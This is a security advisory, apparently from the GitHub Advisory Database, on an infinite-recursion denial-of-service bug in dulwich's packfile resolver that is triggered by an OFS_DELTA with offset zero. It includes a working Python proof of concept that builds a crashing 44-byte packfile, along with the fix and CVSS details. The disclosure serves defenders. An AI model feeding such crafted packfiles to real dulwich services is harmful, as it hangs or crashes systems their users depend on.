Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution
Affected file
dulwich/pack.py(Method:Pack.resolve_object)
Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion
Potential impact
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
- CPU Exhaustion: The process will spin at 100% CPU indefinitely.
- Denial of Service: Any service using
dulwich(web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. - Protocol Incompatibility: This behavior violates the Git packfile specification. The standard
gitC client explicitly guards against this:if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Possible solution
- Explicit Guard: Add a check in
Pack.resolve_objectto rejectdelta_offset == 0:pythonif delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") - Recursion Depth: Implement a depth limit (e.g.,
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | dulwich | < 1.2.9 | 1.2.9 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-835- Plataforma
- Python (PyPI)
- Paquete
dulwich- Publicada
- 02.10.2026
- Actualizado
- 21.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-35mr-4567-66vg - CC BY 4.0
Historial de vulnerabilidades: dulwich
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 13
- Primera → última
- 03.2015 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 3
- Alta 7
- Media 2
- Baja 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 10
antes: 2
-
Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.